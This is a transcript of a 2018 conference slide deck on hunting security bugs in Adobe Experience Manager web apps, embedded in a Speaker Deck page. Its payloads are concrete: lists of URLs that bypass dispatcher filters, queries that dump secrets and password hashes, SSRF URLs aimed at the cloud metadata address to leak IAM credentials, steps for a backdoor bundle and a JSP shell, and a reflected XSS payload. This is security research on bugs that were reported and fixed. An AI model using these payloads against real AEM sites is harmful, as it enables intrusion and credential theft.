Hunting for security bugs in AEM webapps

Hunting for security bugs in AEM webapps - Mikhail Egorov, Speaker Deck.

- Published: 2018-10-13
- Original: <https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps>
- Preserved from: https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps (live) on 2026-08-10
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Hunting for security bugs in AEM webapps - Speaker Deck

Hunting for security bugs in AEM webapps

Presented on Hacktivity 2018 conference - https://www.hacktivity.com/bug-hunting-adobe-experience-manage.

[image: Avatar for Mikhail Egorov]

Mikhail Egorov

October 13, 2018

More Decks by Mikhail Egorov

See All by Mikhail Egorov

A Hacker's perspective on AEM applications security

[[image: Avatar for Mikhail Egorov] 0ang3el](https://speakerdeck.com/0ang3el)

0

4.1k

What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.

[[image: Avatar for Mikhail Egorov] 0ang3el](https://speakerdeck.com/0ang3el)

4

8.4k

Securing AEM webapps by hacking them

[[image: Avatar for Mikhail Egorov] 0ang3el](https://speakerdeck.com/0ang3el)

1

1.7k

AEM hacker approaching Adobe Experience Manager webapps in bug bounty programs

[[image: Avatar for Mikhail Egorov] 0ang3el](https://speakerdeck.com/0ang3el)

3

12k

Neat tricks to bypass CSRF-protection

[[image: Avatar for Mikhail Egorov] 0ang3el](https://speakerdeck.com/0ang3el)

2

2.1k

CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем веб-прил ожении

[[image: Avatar for Mikhail Egorov] 0ang3el](https://speakerdeck.com/0ang3el)

1

600

Other Decks in Programming

See All in Programming

[[image: Avatar for pvcresin] pvcresin](https://speakerdeck.com/pvcresin)

0

280

[[image: Avatar for ydah] ydah](https://speakerdeck.com/ydah)

3

470

komatsuna

[[image: Avatar for] komatsunaqa](https://speakerdeck.com/komatsunaqa)

0

240

Laravel Web /web_application_tuning_101

[[image: Avatar for Ryo Tomidokoro] hanhan1978](https://speakerdeck.com/hanhan1978)

4

1.7k

PHP ..... #phpcon / phpcon-2026

[[image: Avatar for shogogg] shogogg](https://speakerdeck.com/shogogg)

0

590

QA Test Talk Vol.8 AI-DLC Whole Team Approach

[[image: Avatar for PKSHA Technology] pkshadeck]
(https://speakerdeck.com/pkshadeck)

PRO

0

120

[[image: Avatar for YuppeEng] yuppeeng](https://speakerdeck.com/yuppeeng)

0

190

- Agent Native

[[image: Avatar for Gota] gotalab555](https://speakerdeck.com/gotalab555)

4

1.6k

Go tools / The Current State of Ever-Evolving Go Tools

[[image: Avatar for hond]%20(2)%20(1).png) hond0413](https://speakerdeck.com/hond0413)

0

150

[[image: Avatar for Yuji Yamaguchi] yug1224](https://speakerdeck.com/yug1224)

4

1.9k

OpenSpec proposal brainstorming

[[image: Avatar for Toranosuke Minamikawa] tigertora7571]
(https://speakerdeck.com/tigertora7571)

1

200

2 Deno DOMMatrix / How I implemented DOMMatrix in Deno over two years

[[image: Avatar for petamoriken /] petamoriken](https://speakerdeck.com/petamoriken)

0

210

Featured

See All Featured

Leadership Guide Workshop - DevTernity 2021

[[image: Avatar for David Neal] reverentgeek](https://speakerdeck.com/reverentgeek)

1

330

Rebuilding a faster, lazier Slack

[[image: Avatar for samanthasiow] samanthasiow](https://speakerdeck.com/samanthasiow)

85

9.6k

The B2B funnel & how to create a winning content strategy

[[image: Avatar for Katarina Dahlin] katarinadahlin](https://speakerdeck.com/katarinadahlin)

PRO

1

460

JAMstack: Web Apps at Ludicrous Speed - All Things Open 2022

[[image: Avatar for David Neal] reverentgeek](https://speakerdeck.com/reverentgeek)

1

540

Building a Scalable Design System with Sketch

[[image: Avatar for Laura Van Doore] lauravandoore](https://speakerdeck.com/lauravandoore)

463

34k

Visualizing Your Data: Incorporating Mongo into Loggly Infrastructure

[[image: Avatar for mongodb] mongodb](https://speakerdeck.com/mongodb)

49

10k

Ecommerce SEO: The Keys for Success Now & Beyond - #SERPConf2024

[[image: Avatar for Aleyda Solis] aleyda](https://speakerdeck.com/aleyda)

1

2.1k

Product Roadmaps are Hard

[[image: Avatar for C. Todd Lombardo] iamctodd](https://speakerdeck.com/iamctodd)

55

12k

Designing for Performance

[[image: Avatar for Lara Hogan] lara](https://speakerdeck.com/lara)

611

70k

BBQ

[[image: Avatar for Matthew Crist] matthewcrist](https://speakerdeck.com/matthewcrist)

89

10k

Building Adaptive Systems

[[image: Avatar for Chris Keathley] keathley](https://speakerdeck.com/keathley)

44

3.2k

Taking LLMs out of the black box: A practical guide to human-in-the-loop distillation

[[image: Avatar for Ines Montani] inesmontani](https://speakerdeck.com/inesmontani)

PRO

3

2.3k

Transcript

-

Hunting for in AEM webapps Mikhail Egorov @0ang3el Budapest 2018

-

Mikhail Egorov, @0ang3el • Security researcher • Bug hunter (Bugcrowd,

H1) • In Top 20 on Bugcrowd • Conference speaker • Hack In The Box • Troopers • ZeroNights • PHDays • https://twitter.com/0ang3el • https://www.slideshare.net/0ang3el • https://speakerdeck.com/0ang3el • https://github.com/0ang3el

-

Why this talk • AEM is an enterprise-grade CMS •

AEM is widely used by high-profile companies! 3/110

-

Why this talk Companies that use AEM and has public

Bug bounty or Vulnerability disclosure programs 4/110

-

Why this talk • Using whatruns.com I grabbed 9985 unique

domains that use AEM • 5751 AEM installations were on https://domain-name or https://www.domain-name 5/110

-

Why this talk • AEM is big and complex =>

room for security bugs! • 26 known CVEs • Based on open source projects • Apache Felix • Apache Sling • Apache OAK JCR https://helpx.adobe.com/experience-manager/using/osgi_getting_started.html 6/110

-

Why this talk • New tools and techniques • Details

for fresh CVEs 7/110 Kudos to Jason Meyer (@zaptechsol)

-

Previous work • PHDays 2015, @0ang3el • https://www.slideshare.net/0ang3el/hacking-aem-sites 8/110

-

Previous work • 2016, @darkarnium • http://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote- Code-Execution-Write-Up.html 9/110

-

Previous work • SEC-T 2018, @fransrosen • https://speakerdeck.com/fransrosen/a-story-of-the-passive- aggressive-sysadmin-of-aem 10/110

-

Previous work • 2018, @JonathanBoumanium • https://medium.com/@jonathanbouman/reflected-xss-at-philips-com- e48bf8f9cd3c 11/110

-

All mentioned vulnerabilities were reported to resource owners or Adobe

PSIRT and are fixed!!!

-

AEM deployment and AEM dispatcher bypasses

-

Common AEM deployment https://aemcorner.com/aem-common-deploy-models/ Main blocks: • Author AEM instance

• Publish AEM instance • AEM dispatcher (~WAF) Interacts with Publish server via AEM Dispatcher! 4503/tcp 4502/tcp 443/tcp ? 14/110

-

AEM Dispatcher • Module for Web Server (Apache, IIS) •

https://www.adobeaemcloud.com/content/companies/public/adobe/dispatcher/dispatcher. html • Provides security (~WAF) and caching layers 15/110

-

AEM Dispatcher • In theory … a front end system

offers an extra layer of security to your Adobe Experience Manager infrastructure • In practice … it's the only security layer!!! • Admins rarely keep all components on Publish updated and securely configured 16/110

-

AEM Dispatcher • Dispatcher bypasses allow to talk to those

"insecure" components … and have LULZ 17/110

-

AEM Dispatcher bypasses • CVE-2016-0957 • New bypass technique(no details

for now – not fixed) • Add multiple slashes • SSRF • … 18/110

-

Using CVE-2016-0957 /filter { # Deny everything first and then

allow specific entries /0001 { /type "deny" /glob "*" } /0023 { /type "allow" /url "/content*" } # disable this rule to allow mapped content only /0041 { /type "allow" /url "*.css" } # enable css /0042 { /type "allow" /url "*.gif" } # enable gifs /0043 { /type "allow" /url "*.ico" } # enable icos /0044 { /type "allow" /url "*.js" } # enable javascript /0045 { /type "allow" /url "*.png" } # enable png /0046 { /type "allow" /url "*.swf" } # enable flash /0047 { /type "allow" /url "*.jpg" } # enable jpg /0048 { /type "allow" /url "*.jpeg" }

enable jpeg /0062 { /type "allow" /url "/libs/cq/personalization/*" } # enable personalization Policy dispatcher.any before CVE-2016-0957 19/110

-

Using CVE-2016-0957 # Deny content grabbing /0081 { /type "deny"

/url "*.infinity.json" } /0082 { /type "deny" /url "*.tidy.json" } /0083 { /type "deny" /url "*.sysview.xml" } /0084 { /type "deny" /url "*.docview.json" } /0085 { /type "deny" /url "*.docview.xml" } /0086 { /type "deny" /url ".[0-9].json" } # Deny query (and additional selectors) /0090 { /type "deny" /url "*.query*.json" } } Policy dispatcher.any before CVE-2016-0957 20/110

-

Using CVE-2016-0957 https://aemsite/bin/querybuilder.json https://aemsite/bin/querybuilder.json/a.css https://aemsite/bin/querybuilder.json/a.html https://aemsite/bin/querybuilder.json/a.ico https://aemsite/bin/querybuilder.json/a.png https://aemsite/bin/querybuilder.json;%0aa.css https://aemsite/bin/querybuilder.json/a.1.json Blocked

Allowed 21/110

-

Using CVE-2016-0957 https://aemsite/bin/querybuilder.json https://aemsite/bin/querybuilder.json/a.css /0090 { /type "deny" /url "*.query*.json"

} Last rule that matches the request is applied and has deny type! ahttps://aemsite/bin/querybuilder.json/a.png https://aemsite/bin/querybuilder.json;%0aa.css https://aemsite/bin/querybuilder.json/a.1.json Blocked 22/110

-

Using CVE-2016-0957 https://aemsite/bin/querybuilder.json/a.css https://aemsite/bin/querybuilder.json/a.css /0041 { /type "allow" /url "*.css"

} # enable css Last rule that matches the request is applied and has allow type! ahttps://aemsite/bin/querybuilder.json/a.png https://aemsite/bin/querybuilder.json;%0aa.css https://aemsite/bin/querybuilder.json/a.1.json Allowed 23/110

-

New bypass technique /filter { # Deny everything first and

then allow specific entries /0001 { /type "deny" /glob "*" } # Allow non-public content directories /0023 { /type "allow" /url "/content*" } # disable this rule to allow mapped content only # Enable extensions in non-public content directories, using a regular expression /0041 { /type "allow" /extension '(clientlibs|css|gif|ico|js|png|swf|jpe?g|woff2?)' } Policy dispatcher.any after CVE-2016-0957 24/110

-

New bypass technique # Enable features /0062 { /type "allow"

/url "/libs/cq/personalization/*" } # enable personalization # Deny content grabbing, on all accessible pages, using regular expressions /0081 { /type "deny" /selectors '((sys|doc)view|query|[0-9-]+)' /extension '(json|xml)' } Policy dispatcher.any after CVE-2016-0957 25/110

-

New bypass technique # Deny content grabbing for /content /0082

{ /type "deny" /path "/content" /selectors '(feed|rss|pages|languages|blueprint|infinity|tidy)' /extension '(json|xml|html)' } } Policy dispatcher.any after CVE-2016-0957 26/110

-

New bypass technique https://aemsite/bin/querybuilder.json https://aemsite/bin/querybuilder.json/a.css https://aemsite/bin/querybuilder.json;%0aa.css Blocked 27/110 Sorry, details

will be disclosed later!

-

Add multiple slashes • ///etc.json instead of /etc.json • ///bin///querybuilder.json

instead of /bin/querybuilder.json 28/110

-

Using SSRF • We need SSRF in a component that

is allowed by AEM dispatcher policy • Effective way to bypass AEM dispatcher! 29/110

-

Things to remember • Usually AEM dispatcher is the only

security layer • Usually it's easy to bypass AEM dispatcher • AEM admins usually fail to configure Publish instance securely and install updates timely ... • Profit! 30/110

-

Quickly "sniff out" buggy AEM webapp

-

Get JSON with JCR node props /.json /.1.json /.childrenlist.json /.ext.json

/.4.2.1...json /.json/a.css /.json/a.html /.json/a.png /.json/a.ico /.json;%0aa.css /content.json /content.1.json /content.childrenlist.json /content.ext.json /content.4.2.1...json /content.json/a.css /content.json/a.html /content.json/a.png /content.json/a.ico /content.json;%0aa.css /bin.json

/bin.1.json /bin.childrenlist.json /bin.ext.json /bin.4.2.1...json /bin.json/a.css /bin.json/a.html /bin.json/a.png /bin.json/a.ico /bin.json;%0aa.css / /bin /content 32/110

-

Yea baby this is AEM https://<redacted>.twitter.com/.json https://<redacted>.twitter.com/.ext.json 33/110

-

Invoke servlets /system/sling/loginstatus.json /system/sling/loginstatus.css /system/sling/loginstatus.png /system/sling/loginstatus.gif /system/sling/loginstatus.html /system/sling/loginstatus.json/a.1.json /system/sling/loginstatus.json;%0aa.css /system/bgservlets/test.json

/system/bgservlets/test.css /system/bgservlets/test.png /system/bgservlets/test.gif /system/bgservlets/test.html /system/bgservlets/test.json/a.1.json /system/bgservlets/test.json;%0aa.css /system/bgservlets/test /system/sling/loginstatus 34/110

-

Yea baby this is AEM https://<redacted>.adobe.com/system/sling/loginstatus.css https://www.<redacted>/system/bgservlets/test.json 35/110

-

Grabbing juicy data from JCR

-

What we can find • Everything is stored in JCR

repository as node properties including: • Secrets (passwords, encryption keys, tokens) • Configuration • PII • Usernames 37/110

-

AEM servlets for grabbing loot • DefaultGetServlet • QueryBuilderJsonServlet •

QueryBuilderFeedServlet • GQLSearchServlet • ... 38/110

-

DefaultGetServlet • Allows to get JCR node with its props

• Selectors • tidy • infinity • numeric value: -1, 0, 1 ... 99999 • Formats • json • xml • res 39/110

-

DefaultGetServlet • Allows to get JCR node with its props

• Selectors • tidy • infinity • numeric value: -1, 0, 1 ... 99999 • Formats • json • xml • res good for retrieving files 40/110

-

DefaultGetServlet https://aem.site/.tidy.3.json jcr:root selector tidy selector depth output format Get

JCR nodes with props starting from jcr:root with depth 3 and return formatted JSON 41/110

-

DefaultGetServlet – How to grab • Get node names, start

from jcr:root • /.1.json • /.ext.json • /.childrenlist.json • Or guess node names: /content, /home, /var, /etc • Dump props for each child node of jcr:root • /content.json or /content.5.json or /content.-1.json 42/110

-

DefaultGetServlet – What to grab • Interesting nodes • /etc

– may contain secrets (passwords, enc. keys, ...) • /apps/system/config or /apps/<smth>/config (passwords, ...) • /var – may contain private information (PII) • /home – password hashes, PII • Interesting props – contain AEM users names • jcr:createdBy • jcr:lastModifiedBy • cq:LastModifiedBy 43/110

-

P1 submission for private BB program - AEM webapp reveals

DB passwords /apps/<redacted>/config.author.tidy.1..json/a.ico DefaultGetServlet – In the wild 44/110

-

• We can search JCR using different predicates • https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/querybuilder-

predicate-reference.html • QueryBuilderJsonServlet allows to get Nodes and their Props (DefaultGetServlet on steroids) • QueryBuilderFeedServlet allows to get Nodes (no Props) • but we can use blind binary search for Props QueryBuilder: JsonServlet & FeedServlet 45/110

-

QueryBuilder: JsonServlet & FeedServlet ///bin///querybuilder.json ///bin///querybuilder.json.servlet ///bin///querybuilder.json/a.css ///bin///querybuilder.json.servlet/a.css ///bin///querybuilder.json/a.ico ///bin///querybuilder.json.servlet/a.ico

///bin///querybuilder.json;%0aa.css ///bin///querybuilder.json.servlet;%0aa.css ///bin///querybuilder.json/a.1.json ///bin///querybuilder.json.servlet/a.1.json ///bin///querybuilder.json.css ///bin///querybuilder.json.ico ///bin///querybuilder.json.html ///bin///querybuilder.json.png /bin/querybuilder.json ///bin///querybuilder.feed.servlet ///bin///querybuilder.feed.servlet/a.css ///bin///querybuilder.feed.servlet/a.ico

///bin///querybuilder.feed.servlet;%0aa.css ///bin///querybuilder.feed.servlet/a.1.json /bin/querybuilder.feed.servlet 46/110

-

Examples of useful searches • type=nt:file&nodename=*.zip • path=/home&p.hits=full&p.limit=-1 • hasPermission=jcr:write&path=/content

• hasPermission=jcr:addChildNodes&path=/content • hasPermission=jcr:modifyProperties&path=/content • p.hits=selective&p.properties=jcr%3alastModifiedBy&property=jcr%3alastModifiedBy&property.operation=unequals&property.value=admin&type=nt%3abase&p.limit=1000 • path=/etc&path.flat=true&p.nodedepth=0 • path=/etc/replication/agents.author&p.hits=full&p.nodedepth=-1 47/110

-

Examples of useful searches type=nt:file&nodename=*.zip P1 submission for private BB

– grab prod config for Author server 48/110

-

path=/home&p.hits=full&p.limit=-1 P1 submission for private BB – grab AEM users

hashed passwords Examples of useful searches 49/110

-

Examples of useful searches hasPermission=jcr:write&path=/content P2 submission for Twitter BB

– Persistent XSS with CSP bypass Root cause: • /content/usergenerated/etc/commerce/smartlists was writable for anon user • POST servlet was accessible for anon user 50/110

-

Examples of useful searches p.hits=selective&p.properties=jcr%3alastModifiedBy&property=jcr%3al astModifiedBy&property.operation=unequals&property.value=admin& type=nt%3abase&p.limit=1000 AEM users names!

51/110

-

Examples of useful searches path=/etc&path.flat=true&p.nodedepth=0 path=/etc/cloudsettings&p.hits=full&p.nodedepth=-1 /etc.childrenlist.json /etc/cloudsettings.-1.json 52/110

-

GQLSearchServlet • GQL is a simple fulltext query language, similar

to Lucene or Google queries • https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference- materials/javadoc/index.html?org/apache/jackrabbit/commons/query/GQL.html • We can get Node names (not Props) • but we can use blind binary search for Props 53/110

-

GQLSearchServlet ///bin///wcm/search/gql.servlet.json ///bin///wcm/search/gql.json ///bin///wcm/search/gql.json/a.1.json ///bin///wcm/search/gql.json;%0aa.css ///bin///wcm/search/gql.json/a.css ///bin///wcm/search/gql.json/a.ico ///bin///wcm/search/gql.json/a.png ///bin///wcm/search/gql.json/a.html /bin/wcm/search/gql.servlet.json

54/110

-

GQLSearchServlet – examples of searches query=path:/etc%20type:base%20limit:..-1&pathPrefix= /etc.ext.infinity.json 55/110

-

Enum users & brute creds

-

Enum users • DefaultGetServlet or QueryBuilderJsonServlet • Default users •

admin • author • ... 57/110

-

Enum users • DefaultGetServlet or QueryBuilderJsonServlet • Default users •

admin • author • ... King of AEM Default password – admin 58/110

-

Enum users • DefaultGetServlet or QueryBuilderJsonServlet • Default users •

admin • author • ... Has jcr:write for /content Default password – author 59/110

-

Brute creds • AEM supports basic auth, no bruteforce protection!

• LoginStatusServlet – /system/sling/loginstatus.json VS 60/110

-

LoginStatusServlet ///system///sling/loginstatus.json ///system///sling/loginstatus.json/a.css ///system///sling/loginstatus.json/a.ico ////system///sling/loginstatus.json;%0aa.css ///system///sling/loginstatus.json/a.1.json ///system///sling/loginstatus.css ///system///sling/loginstatus.ico ///system///sling/loginstatus.png ///system///sling/loginstatus.html

/system/sling/loginstatus.json 61/110

-

P1 submission for Adobe VDP – Default admin creds Bugs

in the wild 62/110

-

P1 submission for LinkedIn VDP – Weak passwords for some

AEM users Bugs in the wild 63/110

-

Getting code execution

-

Universal RCE variants • Uploading backdoor OSGI bundle • Requires

admin and access to /system/console/bundles • https://github.com/0ang3el/aem-rce-bundle.git (works for AEM 6.2 or newer) • Uploading backdoor jsp script to /apps • Requires write access to /apps • Requires ability to invoke SlingPostServlet • https://sling.apache.org/documentation/getting-started/discover-sling-in-15-minutes.html • ... 65/110

-

Generate skeleton for AEM bundle 66/110 mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate \ -DarchetypeGroupId=com.adobe.granite.archetypes

\ -DarchetypeArtifactId=aem-project-archetype \ -DarchetypeVersion=11 \ -DarchetypeCatalog=https://repo.adobe.com/nexus/content/groups/public/ mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate \ -DarchetypeGroupId=com.day.jcr.vault \ -DarchetypeArtifactId=multimodule-content-package-archetype \ -DarchetypeVersion=1.0.2 \ -DarchetypeCatalog=https://repo.adobe.com/nexus/content/groups/public/ For AEM 6.2 For AEM 5.6

-

Uploading backdoor bundle /bin/backdoor.html?cmd=ifconfig 67/110

-

GIF DEMO https://www.youtube.com/watch?v=DXBvZbz7Z1s

-

Uploading backdoor jsp script • Create node rcenode somewhere with

property sling:resourceType=rcetype • Create node /apps/rcetype and upload html.jsp with payload to node • Open https://aem-site/rcenode.html?cmd=ifconfig and have LULZ • https://github.com/0ang3el/aem-hacker/blob/master/aem-rce-sling-script.sh 69/110

-

https://www.youtube.com/watch?v=RDFOt7r7VBk

-

Server Side Request Forgery

-

SSRF in ReportingServicesProxyServlet CVE-2018-12809 • Versions: 6.0, 6.1, 6.2, 6.3,

6.4 • Allows to see the response • Leak secrets (IAM creds), RXSS (bypasses XSS filters), bypass dispatcher • https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html /libs/cq/contentinsight/content/proxy.reportingservices.json /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet 72/110

-

SSRF in ReportingServicesProxyServlet /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.html?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.ico?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.png?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json/a.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a

/libs/cq/contentinsight/content/proxy.reportingservices.json/a.html?
url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.ico?
url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.png?
url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.1.json?

url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json;%0aa.css?
url=http://169.254.169.254%23/api1.omniture.com/a&q=a 73/110

-

SSRF in ReportingServicesProxyServlet P1 submission for private BB – Leak

IAM role creds 74/110

-

SSRF in ReportingServicesProxyServlet P1 submission for private BB – Ex-filtra te

secrets from /etc via SSRF 75/110

-

SSRF in ReportingServicesProxyServlet P2 submission for Adobe VDP – SSRF

and RXSS 76/110

-

SSRF in SalesforceSecretServlet CVE-2018-5006 • Versions: 6.0, 6.1, 6.2, 6.3,

6.4 • Allows to see the response** • Leak secrets (IAM role creds), RXSS (bypasses XSS filters) • https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html /libs/mcm/salesforce/customer.json ** - Servlet makes POST request to URL 77/110

-

SSRF in SalesforceSecretServlet /libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.html?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.ico?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.png?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.jpeg?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.gif?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e

/libs/mcm/salesforce/customer.html/a.1.json?
checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx &code=e /libs/mcm/salesforce/customer.html;%0aa.css?
checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_s

ecret=zzzz&redirect_uri=xxxx &code=e /libs/mcm/salesforce/customer.json/a.css?
checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_s
ecret=zzzz&redirect_uri=xxxx&co de=e /libs/mcm/salesforce/customer.json/a.png?
checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_s
ecret=zzzz&redirect_uri=xxxx&c ode=e /libs/mcm/salesforce/customer.json/a.gif?
checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_s
ecret=zzzz&redirect_uri=xxxx&co de=e 78/110

-

SSRF in SalesforceSecretServlet P1 submission for Adobe VDP – Leak

IAM role creds 79/110

-

SSRF in SalesforceSecretServlet P2 submission for private BB – SSRF

and RXSS 80/110

-

SSRF in SiteCatalystServlet No CVE from Adobe PSIRT • Allows

to blindly send POST requests • Allow to specify arbitrary HTTP headers via CRLF or LF injection • HTTP smuggling (works for Jetty)
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json 81/110

-

SSRF in SiteCatalystServlet 82/110

-

SSRF in SiteCatalystServlet /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.html?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.ico?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.png?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.gif?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.1.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy

/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet;%0aa.css?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/a.css?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy

/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.html?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.css?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.png?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.1.json?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json;%0aa.css?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy 83/110

-

SSRF in AutoProvisioningServlet No CVE from Adobe PSIRT • Allows

to blindly send POST requests • Allow to inject arbitrary HTTP headers • HTTP smuggling (works for Jetty) /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json 84/110

-

SSRF in AutoProvisioningServlet 85/110

-

SSRF in AutoProvisioningServlet /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json / libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.css /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.html /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.ico /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.png /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.gif /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.1.json

/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json;%0aa.css 86/110

-

SSRF to RCE • It’s possible to escalate 2 SSRFs

to RCE on Publish server • Tested on AEM 6.2 before AEM-6.2-SP1-CFP7 fix pack • https://www.adobeaemcloud.com/content/marketplace/marketplaceProxy.html?packagePath=/content/companies/public/adobe/packages/cq620/cumulativefixpack/AEM- 6.2-SP1-CFP7 87/110

-

SSRF to RCE • Topology is used by replication mechanisms

in AEM • https://sling.apache.org/documentation/bundles/discovery-api-and-impl.html • https://helpx.adobe.com/experience-manager/kb/HowToUseReverseReplication.html • To join Topology PUT request must be sent to TopologyConnectorServlet • TopologyConnectorServlet is

accessible on localhost only (default) • Via SSRF with HTTP smuggling we can access TopologyConnectorServlet 88/110

-

SSRF to RCE • When node joins the topology Reverse

replication agent is created automatically • Reverse replication agent replicates nodes from malicious AEM server to Publish server … RCE! 89/110

-

https://www.youtube.com/watch?v=awPJRIR47jo

-

<script> AEM XSS </script>

-

XSS variants • Create new node and upload SVG (jcr:write,

jcr:addChildNodes) • Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON response 92/110

-

XSS variants • Create new node and upload SVG (jcr:write,

jcr:addChildNodes) • Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON response Persistent 93/110

-

• Create new node and upload SVG (jcr:write, jcr:addChildNodes) •

Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON response XSS variants Reflected 94/110

-

XSS variants • Create new node and upload SVG (jcr:write,

jcr:addChildNodes) • Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON response 95/110

-

SuggestionHandler servlet • /bin/wcm/contentfinder/connector/suggestions.json • Reflects pre parameter in JSON

response • What if Content-Type of response is based on file extension in URL: • /a.html 96/110

-

XSS variants P3 submission for private BB – Reflected XSS

/bin/wcm/contentfinder/connector/suggestions.json/a.html?query_term=path%3a/&pre=%3Csvg+onloa d%3dalert(document.domain)%3E&post=yyyy 97/110

-

DoS attacks

-

